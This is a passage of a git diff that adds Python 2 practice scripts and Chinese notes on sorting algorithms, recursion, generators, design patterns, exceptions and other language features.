l) # 列表转生成器 +print next(a) # next 是生成器的方法(需要考虑StopIteration异常情况) + + +def linked_list_invert(ol): + """ + 链表反转 + :param ol: + :return: + """ + l = [] + for i in ol: + l.insert(0, i) + nl = (i for i in l) + return nl + + +if __name__ == '__main__': + l = [1, 2, 3, 4, 5] + a = (i for i in l) + s = linked_list_invert(a) + print s.next() + print s.next() + print s.next() + print s.next() + print s.next() diff --git a/test/algorithm/merge_sort.md b/test/algorithm/merge_sort.md new file mode 100644 index 0000000..1e62e10 --- /dev/null +++ b/test/algorithm/merge_sort.md @@ -0,0 +1,42 @@ +## 外排序 + +所谓外排序,顾名思义,即是在内存外面的排序。 +因为当要处理的数据量很大,而不能一次装入内存时,此时只能放在读写较慢的外存储器(通常是硬盘)上。 +时间复杂度 O(n log n) + +## 归并排序 + +[归并排序](https://zh.wikipedia.org/wiki/归并排序) + +归并操作(merge),也叫归并算法,指的是将两个已经排序的序列合并成一个序列的操作。 +归并排序算法依赖归并操作。 + +归并排序是建立在归并操作上的一种有效的排序算法,该算法是采用分治法(Divide and Conquer)的一个非常典型的应用。 +将已有序的子序列合并,得到完全有序的序列;即先使每个子序列有序,再使子序列段间有序。 +若将两个有序表合并成一个有序表,称为二路归并。 + + +参数对比 | 双端队列 | 列表 +| --- | --- | --- | +数据操作 | 头部,尾部 | 任意部位 +时间复杂度 | O(1) | O(n) + +为了降低时间复杂度,这里采用双端队列作为存储结构 + +递归拆分的时间复杂度是log n + +进行两个有序数组排序的方法复杂度是n + +整体复杂度为 O(n log n) + + +## 归并经典模型 +6 5 3 1 8 7 2 4 + + +## 对数符号 +对数无论什么时候都必须有底数,底数为10时log10()可写为lg(),底数为e时loge()可写为ln() +但也有些时候会看见直接写成log()的, +这种情况下的底数:一般普通应用都是10, +计算机学科是2,编程语言里面是e; +当然log()这样的写法并不准确,知道在什么情况下表示什么就可以了,写的时候最好加上底数。 diff --git a/test/algorithm/merge_sort.py b/test/algorithm/merge_sort.py new file mode 100644 index 0000000..c4fc71e --- /dev/null +++ b/test/algorithm/merge_sort.py @@ -0,0 +1,141 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: merge_sort.py +@time: 2017/3/27 下午11:40 + +@title: 归并排序 +""" + +from collections import deque +from copy import copy + + +def merge_sort(lst, f=''): + """ + 归并排序演示过程 + :param lst: + :param f: + :return: + """ + if len(lst) <= 1: + print u'递归拆分 %s:%s' % (f, lst) + return lst + + def merge(left, right): + merged, left, right = deque(), deque(left), deque(right) + while left and right: + merged.append(left.popleft() if left[0] <= right[0] else right.popleft()) # deque popleft is also O(1) + merged.extend(right if right else left) + print u'\t数据归并 %s' % list(merged) + return list(merged) + + middle = int(len(lst) // 2) + print u'递归拆分 left_lst:%s right_lst:%s' % (lst[:middle], lst[middle:]) + left_lst = merge_sort(lst[:middle], f='left_lst') + right_lst = merge_sort(lst[middle:], f='right_lst') + print u'\t归并列表 left:%s right:%s' % (left_lst, right_lst) + return merge(left_lst, right_lst) + + +def test_merge_simple(): + """ + 测试简单归并 + :return: + """ + test_list_a = [7, 3, 4, 5, 9] + test_list_b = [1, 2, 3, 6, 8, 10, 11] + test_list = copy(test_list_a) + test_list.extend(test_list_b) + + print test_list_a + print test_list_b + print test_list + print merge_sort(test_list) + + +def g_next(g_l): + """ + 获取生成器元素 + :param g_l: + :return: + """ + try: + r = int(g_l.next()) + except StopIteration: + r = None + return r + + +def merge_sort_t(m, n): + """ + 归并排序两个迭代器 + :param m: + :param n: + :return: + """ + # 去除换行并转生成器 + g_a = (a.strip() for a in m) + g_b = (b.strip() for b in n) + + n_a = g_next(g_a) + n_b = g_next(g_b) + while 1: + # print n_a, n_b + if not (n_a or n_b): + return + elif n_a is None and n_b is not None: + # print '+', n_b + yield n_b + n_b = g_next(g_b) + elif n_b is None and n_a is not None: + # print '-', n_a + yield n_a + n_a = g_next(g_a) + elif n_a <= n_b: + # print '-', n_a + yield n_a + n_a = g_next(g_a) + else: + # print '+', n_b + yield n_b + n_b = g_next(g_b) + + +def test_merge_big_file(): + """ + 测试大文件归并 + :return: + """ + + # 打开文件(文件本身就是迭代器) + f_a = open('data/a.log', 'r') + f_b = open('data/b.log', 'r') + + f_n = open('data/n.log', 'w') + for i in merge_sort_t(f_a, f_b): + print i + f_n.write('%s\n' % i) + + # 关闭文件 + f_a.close() + f_b.close() + f_n.close() + + +def test_tpl(): + a = [6, 5, 3, 1, 8, 7, 2, 4] + test_list_a = a[:4] + test_list_b = a[4:] + test_list = copy(test_list_a) + test_list.extend(test_list_b) + print merge_sort(a) + + +if __name__ == '__main__': + # test_merge_simple() + # test_merge_big_file() + test_tpl() diff --git a/test/algorithm/quick_sort.md b/test/algorithm/quick_sort.md new file mode 100644 index 0000000..8f65ec6 --- /dev/null +++ b/test/algorithm/quick_sort.md @@ -0,0 +1,14 @@ +## 快速排序 + +[快速排序](https://zh.wikipedia.org/wiki/快速排序) + +快速排序(英语:Quicksort),又称划分交换排序(partition-exchange sort) + +快速排序算法其实很简单,采用分治策略。步骤如下: + +选取一个基准元素(pivot) +比pivot小的放到pivot左边,比pivot大的放到pivot右边 +对pivot左边的序列和右边的序列分别递归的执行步骤1和步骤2 + +平均时间复杂度 O(n log n) +每次都选取的是最大或者最小, 是最坏情况, 最坏的情况, O(n^2), 但通过随机算法可以避免最坏情况 diff --git a/test/algorithm/quick_sort.py b/test/algorithm/quick_sort.py new file mode 100644 index 0000000..617daab --- /dev/null +++ b/test/algorithm/quick_sort.py @@ -0,0 +1,92 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: quick_sort.py +@time: 2017/6/19 下午10:20 + +@title: 快速排序 +""" + + +def quick_sort(arr, f=''): + """ + 快速排序演示过程 + :param arr: + :param f: + :return: + """ + print u'拆分', f, arr + less = [] + pivot_list = [] + more = [] + if len(arr) <= 1: + print u'合并', f, arr + return arr + else: + pivot = arr[0] # 将第一个值做为基准 + for i in arr: + if i < pivot: + less.append(i) + elif i > pivot: + more.append(i) + else: + pivot_list.append(i) + print 'L', less, 'M', pivot_list, 'R', more + less = quick_sort(less, f='less') + more = quick_sort(more, f='more') + print u'合并', f, less + pivot_list + more + return less + pivot_list + more + + +def quicksort(a): + if len(a) <= 1: + return a # 如果a为一位数则直接传回a + l = [x for x in a[1:] if x <= a[0]] # 输出排序后的比a[0]小的数列 + r = [x for x in a[1:] if x > a[0]] # 输出排序后的比a[0]大的数列 + return quicksort(l) + [a[0]] + quicksort(r) + + +if __name__ == '__main__': + quick_sort([8, 7, 3, 6, 86, 32, 6, 9, 4]) + + +""" +拆分 [8, 7, 3, 6, 86, 32, 6, 9, 4] + +L [7, 3, 6, 6, 4] M [8] R [86, 32, 9] +拆分 less [7, 3, 6, 6, 4] +L [3, 6, 6, 4] M [7] R [] +拆分 less [3, 6, 6, 4] +L [] M [3] R [6, 6, 4] +拆分 less [] +合并 less [] +拆分 more [6, 6, 4] +L [4] M [6, 6] R [] +拆分 less [4] +合并 less [4] +拆分 more [] +合并 more [] +合并 more [4, 6, 6] +合并 less [3, 4, 6, 6] +拆分 more [] +合并 more [] +合并 less [3, 4, 6, 6, 7] + +拆分 more [86, 32, 9] +L [32, 9] M [86] R [] +拆分 less [32, 9] +L [9] M [32] R [] +拆分 less [9] +合并 less [9] +拆分 more [] +合并 more [] +合并 less [9, 32] +拆分 more [] +合并 more [] +合并 more [9, 32, 86] + +合并 [3, 4, 6, 6, 7, 8, 9, 32, 86] +""" \ No newline at end of file diff --git a/test/algorithm/recursion.py b/test/algorithm/recursion.py new file mode 100644 index 0000000..be3aefc --- /dev/null +++ b/test/algorithm/recursion.py @@ -0,0 +1,61 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: recursion.py +@time: 2017/6/17 下午4:26 + +@title: 递归实现阶乘 +""" + + +def factorial(n): + print n + if n == 1: + return 1 # 递归结束 + return n * factorial(n - 1) # 问题规模减1,递归调用 + + +nodes = [ + {'id': 1, 'parent': None}, + {'id': 2, 'parent': 1}, + {'id': 3, 'parent': 1}, + {'id': 4, 'parent': 2}, + {'id': 5, 'parent': 2}, + {'id': 6, 'parent': 5}, + {'id': 7, 'parent': 6}, + {'id': 8, 'parent': 3} +] + + +node_list = [] + + +def pop_list(nodes, parent=None, node_list=None): + """ + 递归父子关系 + :param nodes: + :param parent: + :param node_list: + :return: + """ + if parent is None: + return node_list + next_parent = None + node_list.append([]) + for node in nodes: + if node['parent'] == parent: + node_list[-1].append(node) + if node['id'] == parent: + next_parent = node['parent'] + + pop_list(nodes, next_parent, node_list) + return node_list + +print pop_list(nodes, 5, node_list) + + +if __name__ == '__main__': + print factorial(10) diff --git a/test/algorithm/sort.py b/test/algorithm/sort.py new file mode 100644 index 0000000..5a9f7be --- /dev/null +++ b/test/algorithm/sort.py @@ -0,0 +1,49 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: sort.py +@time: 2017/6/7 上午9:48 +""" + + +def merge(left, right): + i, j = 0, 0 + result = [] + while i < len(left) and j < len(right): + if left[i] <= right[j]: + result.append(left[i]) + i += 1 + else: + result.append(right[j]) + j += 1 + result += left[i:] + result += right[j:] + print result + return result + + +def merge_sort(lists): + print lists + # 归并排序 + if len(lists) <= 1: + return lists + num = len(lists) / 2 + print '左 分', + left = merge_sort(lists[:num]) + print '右 分', + right = merge_sort(lists[num:]) + print '\t治', + return merge(left, right) + + +if __name__ == '__main__': + a = [7, 2, 4, 7, 9, 3, 5, 7, 8, 1, 3, 60, 4, 2, 6] + print merge_sort(a) + + + +""" +""" \ No newline at end of file diff --git a/test/algorithm/tools_data.py b/test/algorithm/tools_data.py new file mode 100644 index 0000000..d95dfbd --- /dev/null +++ b/test/algorithm/tools_data.py @@ -0,0 +1,140 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: tools_data.py +@time: 2017/3/28 上午12:41 +""" + + +from random import randint + + +data_type_list = ['odd', 'even'] + + +def write_file(file_name, data_type=None): + """ + 写文件 + :param file_name: + :param data_type: + :return: + """ + c = 0 + num = 0 + if data_type == 'odd': # 奇数 + num = 1 + if data_type == 'even': # 偶数 + num = 2 + while c < 100000: + c += 1 + num += randint(0, 4)*2 + with open(file_name, 'w') as f: + f.write('%s\n' % num) + + +if __name__ == '__main__': + write_file('data/a.log', 'odd') + write_file('data/b.log', 'even') + + +""" +# 原始数据 +✗ wc -l a.log + 100000 a.log +✗ wc -l b.log + 100000 b.log + +# 验证数据 +✗ wc -l n.log + 200000 n.log +✗ head -n 10 a.log +3 +7 +7 +7 +15 +15 +19 +19 +21 +29 +✗ head -n 10 b.log +2 +8 +8 +10 +10 +14 +16 +20 +28 +30 +✗ head -n 20 n.log +2 +3 +7 +7 +7 +8 +8 +10 +10 +14 +15 +15 +16 +19 +19 +20 +21 +28 +29 +30 + +✗ tail -n 10 a.log +400495 +400497 +400501 +400505 +400505 +400513 +400517 +400519 +400527 +400529 +✗ tail -n 10 b.log +400474 +400480 +400484 +400486 +400494 +400500 +400508 +400510 +400512 +400516 +✗ tail -n 20 n.log +400484 +400486 +400487 +400489 +400494 +400495 +400497 +400500 +400501 +400505 +400505 +400508 +400510 +400512 +400513 +400516 +400517 +400519 +400527 +400529 +""" diff --git a/test/algorithm/tree.md b/test/algorithm/tree.md new file mode 100644 index 0000000..923ec4a --- /dev/null +++ b/test/algorithm/tree.md @@ -0,0 +1 @@ +## 树 diff --git a/test/algorithm/variance.py b/test/algorithm/variance.py new file mode 100644 index 0000000..e64aae6 --- /dev/null +++ b/test/algorithm/variance.py @@ -0,0 +1,384 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: variance.py +@time: 2017/10/8 下午9:55 + +@title: 方差 +""" + + +import random +import math +import time +from decimal import Decimal + + +def standard_deviation(list_num): + """ + 标准差 + :param list_num: + :return: + """ + len_num = len(list_num) + sum_num = 0.0 + sum_square = 0.0 + for i in list_num: + sum_num += i + sum_square += i ** 2 + mean = sum_num / len_num + var = sum_square / len_num - mean ** 2 # 方差 + res = Decimal(round(math.sqrt(var) / 100) * 100) # 标准差改良版 + return res + + +def match(list_a, list_b): + """ + 匹配测试 + :param list_a: + :param list_b: + :return: + """ + sum_a = sum(list_a) + sum_b = sum(list_b) + print 'list_a 和', sum_a + print 'list_b 和', sum_b + if sum_a != sum_b: + raise Exception('金额不匹配') + print 'list_a 标准差', standard_deviation(list_a) + print 'list_b 标准差', standard_deviation(list_b) + list_a_new, list_b_new, list_match = [], [], [] + while list_a or list_b: + max_a = max(list_a) if list_a else 0 + max_b = max(list_b) if list_b else 0 + + if max_a >= max_b: + list_a.remove(max_a) + list_a_new.append(max_a) + match_a = [max_a] + match_b = [] + while sum(match_a) != sum(match_b): + min_b = min(list_b) if list_b else 0 + need_b = sum(match_a) - sum(match_b) + + if need_b in list_b: + get_b = need_b + list_b.remove(need_b) + elif need_b > min_b: + get_b = min_b + list_b.remove(min_b) + else: + # 拆分最小值 + get_b = need_b + list_b.remove(min_b) + list_b.append(min_b - need_b) + + list_b_new.append(get_b) + match_b.append(get_b) + else: + list_b.remove(max_b) + list_b_new.append(max_b) + match_a = [] + match_b = [max_b] + while sum(match_a) != sum(match_b): + min_a = min(list_a) if list_a else 0 + need_a = sum(match_b) - sum(match_a) + + if need_a in list_a: + get_a = need_a + list_a.remove(need_a) + elif need_a > min_a: + get_a = min_a + list_a.remove(min_a) + else: + # 拆分最小值 + get_a = need_a + list_a.remove(min_a) + list_a.append(min_a - need_a) + + list_a_new.append(get_a) + match_a.append(get_a) + + match_num = (match_a, match_b) + list_match.append(match_num) + return list_a_new, list_b_new, list_match + + +def match_dict_list(x, y): + """ + 匹配测试 + :param x: + :param y: + :return: + """ + print 'x', x + print 'y', y + + # 列表转字典 + m_d = {} + for i in x: + m_d[i['id']] = i['price'] + n_d = {} + for i in y: + n_d[i['id']] = i['price'] + + sum_a = sum(m_d.values()) + sum_b = sum(n_d.values()) + print 'list_a 和', sum_a + print 'list_b 和', sum_b + if sum_a != sum_b: + raise Exception('金额不匹配') + print 'list_a 标准差', standard_deviation(m_d.values()) + print 'list_b 标准差', standard_deviation(n_d.values()) + list_a_new, list_b_new, list_match = [], [], [] + + while m_d.values() or n_d.values(): + max_a = max(m_d.values()) if m_d.values() else 0 + max_b = max(n_d.values()) if n_d.values() else 0 + + if max_a >= max_b: + max_a_id = m_d.keys()[m_d.values().index(max_a)] + m_d.pop(max_a_id) + list_a_new.append(max_a) + match_a_item = {'id': max_a_id, 'price': max_a} + match_a_items = [match_a_item] + + match_a = [max_a] + match_b = [] + match_b_items = [] + + while sum(match_a) != sum(match_b): + min_b = min(n_d.values()) if n_d.values() else 0 + need_b = sum(match_a) - sum(match_b) + + if need_b in n_d.values(): + get_b = need_b + b_id = n_d.keys()[n_d.values().index(get_b)] + n_d.pop(b_id) + elif need_b > min_b: + get_b = min_b + b_id = n_d.keys()[n_d.values().index(get_b)] + n_d.pop(b_id) + else: + # 拆分最小值 + get_b = need_b + b_id = n_d.keys()[n_d.values().index(min_b)] + n_d[b_id] = min_b - get_b + + list_b_new.append(get_b) + match_b.append(get_b) + match_b_item = {'id': b_id, 'price': get_b} + match_b_items.append(match_b_item) + else: + max_b_id = n_d.keys()[n_d.values().index(max_b)] + n_d.pop(max_b_id) + list_b_new.append(max_b) + match_b_item = {'id': max_b_id, 'price': max_b} + match_b_items = [match_b_item] + + match_a = [] + match_b = [max_b] + match_a_items = [] + + while sum(match_a) != sum(match_b): + min_a = min(m_d.values()) if m_d.values() else 0 + need_a = sum(match_b) - sum(match_a) + + if need_a in m_d.values(): + get_a = need_a + a_id = m_d.keys()[m_d.values().index(get_a)] + m_d.pop(a_id) + elif need_a > min_a: + get_a = min_a + a_id = m_d.keys()[m_d.values().index(get_a)] + m_d.pop(a_id) + else: + # 拆分最小值 + get_a = need_a + a_id = m_d.keys()[m_d.values().index(min_a)] + m_d[a_id] = min_a - get_a + + list_a_new.append(get_a) + match_a.append(get_a) + match_a_item = {'id': a_id, 'price': get_a} + match_a_items.append(match_a_item) + + match_item = (match_a_items, match_b_items) + list_match.append(match_item) + + return list_a_new, list_b_new, list_match + + +def test_standard_deviation(): + """ + 测试标准差 + :return: + """ + test_list_num = range(8000, 10000, 500) + print test_list_num + print standard_deviation(test_list_num) + + +def test_match(): + """ + 测试匹配 + :return: + """ + # 普通情况 + # list_a = [20000, 18000, 18000, 6000] + # list_b = [18000, 16000, 14000, 8000, 2000, 2000, 2000] + + # 恰好拼凑(无需拆分,只需组合) + # list_a = [20000, 18000, 16000] + # list_b = [18000, 16000, 14000, 2000, 2000, 2000] + + # 差大于最小值 + # list_a = [21000, 18000, 16000] + # list_b = [18000, 16000, 14000, 2000, 2000, 2000, 1000] + + # 差小于最小值(互相拆分) + list_a = [21000, 18000, 16000] + list_b = [20000, 16000, 19000] + + print 'list_a', list_a + print 'list_b', list_b + list_a_new, list_b_new, list_match = match(list_a, list_b) + print 'list_a_new', list_a_new + print 'list_b_new', list_b_new + print 'list_match', list_match + + +def test_match_dict_list(): + """ + 测试匹配(字典列表) + :return: + """ + # 普通情况 + # list_a = [20000, 18000, 18000, 6000] + # list_b = [18000, 16000, 14000, 8000, 2000, 2000, 2000] + + # 恰好拼凑(无需拆分,只需组合) + # list_a = [20000, 18000, 16000] + # list_b = [18000, 16000, 14000, 2000, 2000, 2000] + # m = [{'id': 1, 'price': 20000}, {'id': 2, 'price': 18000}, {'id': 3, 'price': 16000}] + # n = [{'id': 1, 'price': 18000}, {'id': 2, 'price': 16000}, {'id': 3, 'price': 14000}, {'id': 4, 'price': 2000}, {'id': 5, 'price': 2000}, {'id': 6, 'price': 2000}] + + # 差大于最小值 + # list_a = [21000, 18000, 16000] + # list_b = [18000, 16000, 14000, 2000, 2000, 2000, 1000] + # m = [{'id': 1, 'price': 21000}, {'id': 2, 'price': 18000}, {'id': 3, 'price': 16000}] + # n = [{'id': 1, 'price': 18000}, {'id': 2, 'price': 16000}, {'id': 3, 'price': 14000}, {'id': 4, 'price': 2000}, {'id': 5, 'price': 2000}, {'id': 6, 'price': 2000}, {'id': 7, 'price': 1000}] + + # 差小于最小值(互相拆分) + # list_a = [21000, 18000, 16000] + # list_b = [20000, 16000, 19000] + m = [{'id': 1, 'price': 21000}, {'id': 2, 'price': 18000}, {'id': 3, 'price': 16000}] + n = [{'id': 1, 'price': 20000}, {'id': 2, 'price': 16000}, {'id': 3, 'price': 19000}] + + list_a_new, list_b_new, list_match = match_dict_list(m, n) + print 'list_a_new', list_a_new + print 'list_b_new', list_b_new + print 'list_match', list_match + + +def random_choice_list(): + """ + 步骤: + 1、设定匹配总金额:total_price + 2、根据标准差估算取值个数:random_num + 3、随机选取 n 个元素求和等于 total_price + :return: + """ + time_out = 3 # 正常速度 0.00003 + total_price = 40000 + test_random_list = [21000, 18000, 16000, 4000, 20000, 7000] + + sum_num = sum(test_random_list) + len_num = len(test_random_list) + print 'sum_num', sum_num + print 'len_num', len_num + + choice_num = int(min(round(len_num / (sum_num / total_price)), len_num)) + + print 'choice_num', choice_num + std_dev = standard_deviation(test_random_list) + print 'std_dev', std_dev + for i in test_random_list: + print round(i / std_dev) + + choice_list = [] + c = 0 + start_time = time.time() + while sum(choice_list) != total_price: + if time.time() - start_time > time_out: + choice_list = [] + break + c += 1 + print '随机次数', c + choice_list = random.sample(test_random_list, choice_num) + + if choice_list: + print choice_list + else: + print '超时' + + +def random_choice_dict_list(): + """ + 步骤: + 1、设定匹配总金额:total_price + 2、根据标准差估算取值个数:random_num + 3、随机选取 n 个元素求和等于 total_price + :return: + """ + time_out = 3 # 正常速度 0.00003 + total_price = 40000 + # test_random_list = [21000, 18000, 16000, 4000, 20000, 7000] + test_random_dict_list = [{'id': 1, 'price': 21000}, {'id': 2, 'price': 18000}, {'id': 3, 'price': 16000}, {'id': 4, 'price': 4000}, {'id': 5, 'price': 20000}, {'id': 6, 'price': 7000}, {'id': 7, 'price': 16000}] + + test_random_list = [item['price'] for item in test_random_dict_list] + sum_num = sum(test_random_list) + len_num = len(test_random_list) + print 'sum_num', sum_num + print 'len_num', len_num + + choice_num = int(min(round(len_num / (sum_num / total_price)), len_num)) + + print 'choice_num', choice_num + std_dev = standard_deviation(test_random_list) + print 'std_dev', std_dev + for i in test_random_list: + print round(i / std_dev) + + choice_list = [] + c = 0 + start_time = time.time() + while sum(choice_list) != total_price: + if time.time() - start_time > time_out: + choice_list = [] + break + c += 1 + print '随机次数', c + choice_list = random.sample(test_random_list, choice_num) + + if choice_list: + res_choice_dict_list = [] + print choice_list + for i in test_random_dict_list: + if i['price'] in choice_list: + res_choice_dict_list.append(i) + choice_list.remove(i['price']) + print res_choice_dict_list + else: + print '超时' + + +if __name__ == '__main__': + # test_standard_deviation() + # test_match() + test_match_dict_list() + # random_choice_list() + # random_choice_dict_list() diff --git a/test/design_pattern/observer.py b/test/design_pattern/observer.py new file mode 100644 index 0000000..e3006ec --- /dev/null +++ b/test/design_pattern/observer.py @@ -0,0 +1,76 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: observer.py +@time: 2017/6/12 下午6:06 +""" + + +class AbstractSubject(object): + def register(self, listener): + raise NotImplementedError("Must subclass me") + + def de_register(self, listener): + raise NotImplementedError("Must subclass me") + + def notify_listeners(self, event): + raise NotImplementedError("Must subclass me") + + +class Listener(object): + def __init__(self, name, subject): + self.name = name + subject.register(self) + + def notify(self, event): + print self.name, "received event", event + + +class Subject(AbstractSubject): + def __init__(self): + self.listeners = [] + self.data = None + + def get_user_action(self): + self.data = raw_input('Enter something to do:') + return self.data + + # Implement abstract Class AbstractSubject + + def register(self, listener): + self.listeners.append(listener) + + def de_register(self, listener): + self.listeners.remove(listener) + + def notify_listeners(self, event): + for listener in self.listeners: + listener.notify(event) + + +if __name__ == "__main__": + # make a subject object to spy on + subject_obj = Subject() + + # register two listeners to monitor it. + listenerA = Listener("", subject_obj) + listenerB = Listener("", subject_obj) + + # simulated event + subject_obj.notify_listeners("") + # outputs: + # received event + # received event + + action = subject_obj.get_user_action() + subject_obj.notify_listeners(action) + # Enter something to do:hello + # outputs: + # received event hello + # received event hello + + +# https://zh.wikipedia.org/wiki/观察者模式 \ No newline at end of file diff --git a/test/test_blinker.py b/test/test_blinker.py new file mode 100644 index 0000000..bdb8df2 --- /dev/null +++ b/test/test_blinker.py @@ -0,0 +1,37 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: test_blinker.py +@time: 2017/6/6 下午10:48 +""" + + +from blinker import signal + +started = signal('round-started') + + +def each(round): + print "Round %s!" % round + + +started.connect(each) + + +def round_two(round): + print "This is round two." + + +started.connect(round_two, sender=2) + + +for r in range(1, 4): + started.send(r) + + +# https://pypi.python.org/pypi/blinker +# http://pythonhosted.org/blinker/ +# https://github.com/jek/blinker diff --git a/test/test_breakpoint.py b/test/test_breakpoint.py new file mode 100644 index 0000000..aabc0c5 --- /dev/null +++ b/test/test_breakpoint.py @@ -0,0 +1,46 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: test_breakpoint.py +@time: 2017/10/22 下午11:02 +""" + + +class Base(object): + def __init__(self): + self.info = 'Base class' + print '%s init from Base' % self.info + + def show(self): + print '%s show from Base' % self.info + + +class Child(Base): + def __init__(self): + self.info = 'Child class 01' # 子类先赋值再初始化父类, 子类其它方法里使用的这个同名变量是父类中赋的值(非期望,未覆盖) + print '%s init from Child' % self.info + # Base.__init__(self) # 普通继承 + super(Child, self).__init__() # super 继承 + self.info = 'Child class 02' # 先初始化父类子类再赋值, 子类其它方法里使用的这个同名变量是子类中赋的值 + + def show(self): + print '%s show 01 from Child' % self.info + super(Child, self).show() + print '%s show 02 from Child' % self.info + + +if __name__ == '__main__': + child = Child() + child.show() + + +""" +Child class 01 init from Child +Base class init from Base +Child class 02 show 01 from Child +Child class 02 show from Base +Child class 02 show 02 from Child +""" diff --git a/test/test_cpus.py b/test/test_cpus.py new file mode 100644 index 0000000..1c6fda8 --- /dev/null +++ b/test/test_cpus.py @@ -0,0 +1,20 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: test_cpus.py +@time: 2017/6/15 下午11:29 +""" + + +import multiprocessing + +bind = "127.0.0.1:8000" + +workers = multiprocessing.cpu_count() * 2 + 1 + + +if __name__ == '__main__': + print workers diff --git a/test/test_dict.py b/test/test_dict.py index f808a9b..0ebe0e3 100644 --- a/test/test_dict.py +++ b/test/test_dict.py @@ -42,6 +42,17 @@ def test_03(): print dict(zip(list_a[::-1], list_b)) +def test_04(): + """ + 测试列表子元素算术运算 + :return: + """ + a = [1, 2, 3] + b = [4, 5, 6] + c = [a[i] + b[i] for i in range(min(len(a), len(b)))] + print c + + def test_group(): """ 测试分组 @@ -99,6 +110,7 @@ def test_group(): test_01() test_02() test_03() + test_04() test_group() diff --git a/test/test_except.py b/test/test_except.py index 3b70669..c3a7e56 100644 --- a/test/test_except.py +++ b/test/test_except.py @@ -8,14 +8,44 @@ @time: 16-4-13 下午6:38 """ +import time +import traceback -try: - # raise Exception('error_message') - raise Exception('error_message', 'error_code') -except Exception as e: - print type(e.message), e.message - print type(e.args[0]), e.args[0] + +def test_01(): + try: + # raise Exception('error_message') + raise Exception('error_message', 'error_code') + except Exception as e: + # 打印异常 + print type(e), e + + time.sleep(0.1) + + # 打印异常消息 + print type(e.message), e.message + + time.sleep(0.1) + + # 打印异常参数 + print e.args, type(e.args[0]), e.args[0] + + time.sleep(0.1) + + # 打印异常堆栈跟踪信息 stack traceback + traceback.print_exc() + + +def test_02(): + try: + print u'try' + raise Exception(u'try') + except Exception as e: + print u'except' + raise Exception(u'except') + finally: + print u'finally' if __name__ == '__main__': - pass + test_02() diff --git a/test/test_file.py b/test/test_file.py index 1159c6d..a7b8f66 100644 --- a/test/test_file.py +++ b/test/test_file.py @@ -37,3 +37,20 @@ if __name__ == '__main__': pass + + +""" +# python 打开文件的模式 +r 以只读模式打开文件 +w 以只写模式打开文件,且先把文件内容清空(truncate the file first)wb 以二进制格式打开一个文件只用于写入。如果该文件已存在则将其覆盖。如果该文件不存在,创建新文件。 +a 以添加模式打开文件,写文件的时候总是写到文件末尾,用seek也无用。打开的文件也是不能读的 +r+ 以读写方式打开文件,文件可读可写,可写到文件的任何位置 +w+ 和r+不同的是,它会truncate the file first +a+ 和r+不同的是,它只能写到文件末尾 + +# 文件对象的方法 +file.closed 返回true如果文件已被关闭,否则返回false。 +file.mode 返回被打开文件的访问模式。 +file.name 返回文件的名称。 +file.softspace 如果用print输出后,必须跟一个空格符,则返回false。否则返回true。 +""" diff --git a/test/test_functool_wraps.py b/test/test_functool_wraps.py new file mode 100644 index 0000000..4e90da9 --- /dev/null +++ b/test/test_functool_wraps.py @@ -0,0 +1,97 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: test_functool_wraps.py +@time: 2017-12-26 14:07 +""" + + +from functools import partial + + +def wrap(func): + def call_it(*args, **kwargs): + """wrap func: call_it""" + print 'before call' + return func(*args, **kwargs) + return call_it + + +@wrap +def hello(): + """say hello""" + print 'hello world' + + +from functools import update_wrapper + + +def wrap2(func): + def call_it(*args, **kwargs): + """wrap func: call_it2""" + print 'before call' + return func(*args, **kwargs) + return update_wrapper(call_it, func) + + +@wrap2 +def hello2(): + """test hello""" + print 'hello world2' + + +from functools import wraps + + +def wrap3(func): + @wraps(func) + def call_it(*args, **kwargs): + """wrap func: call_it2""" + print 'before call' + return func(*args, **kwargs) + return call_it + + +@wrap3 +def hello3(): + """test hello 3""" + print 'hello world3' + + +if __name__ == '__main__': + hello() + print 'hello.__name__', hello.__name__ + print 'hello.__doc__', hello.__doc__ + + print + hello2() + print 'hello2.__name__', hello2.__name__ + print 'hello2.__doc__', hello2.__doc__ + + print + hello3() + print 'hello3.__name__', hello3.__name__ + print 'hello3.__doc__', hello3.__doc__ + + +""" +before call +hello world +hello.__name__ call_it +hello.__doc__ wrap func: call_it + +before call +hello world2 +hello2.__name__ hello2 +hello2.__doc__ test hello + +before call +hello world3 +hello3.__name__ hello3 +hello3.__doc__ test hello 3 + +使用 from functools import wraps 修饰过的装饰器, 可以保证原函数的 name 和 doc, 在调试中会起到关键作用 +""" diff --git a/test/test_has_key.py b/test/test_has_key.py new file mode 100644 index 0000000..9ec48dc --- /dev/null +++ b/test/test_has_key.py @@ -0,0 +1,26 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: test_has_key.py +@time: 2017/5/27 下午2:13 +""" + + +a = { + 'foo': '1', + 'bar': '2', +} + + +def func(): + print a.has_key('foo') # deprecated + print a.has_key('fob') # deprecated + print 'foo' in a + print 'fob' in a + + +if __name__ == '__main__': + func() diff --git a/test/test_ip.py b/test/test_ip.py new file mode 100644 index 0000000..277198f --- /dev/null +++ b/test/test_ip.py @@ -0,0 +1,34 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: test_ip.py +@time: 2018-02-08 18:53 +""" + + +import netaddr + + +def check_allocation_pools(allocation_pools): + print(allocation_pools) + # 开始IP 必须小于 结束IP 校验可用IP数量 + for ip_pool in allocation_pools: + print(ip_pool) + ip_start = netaddr.IPAddress(ip_pool['start']).__int__() + ip_end = netaddr.IPAddress(ip_pool['end']).__int__() + print(ip_start) + print(ip_end) + print(ip_end - ip_start) + if 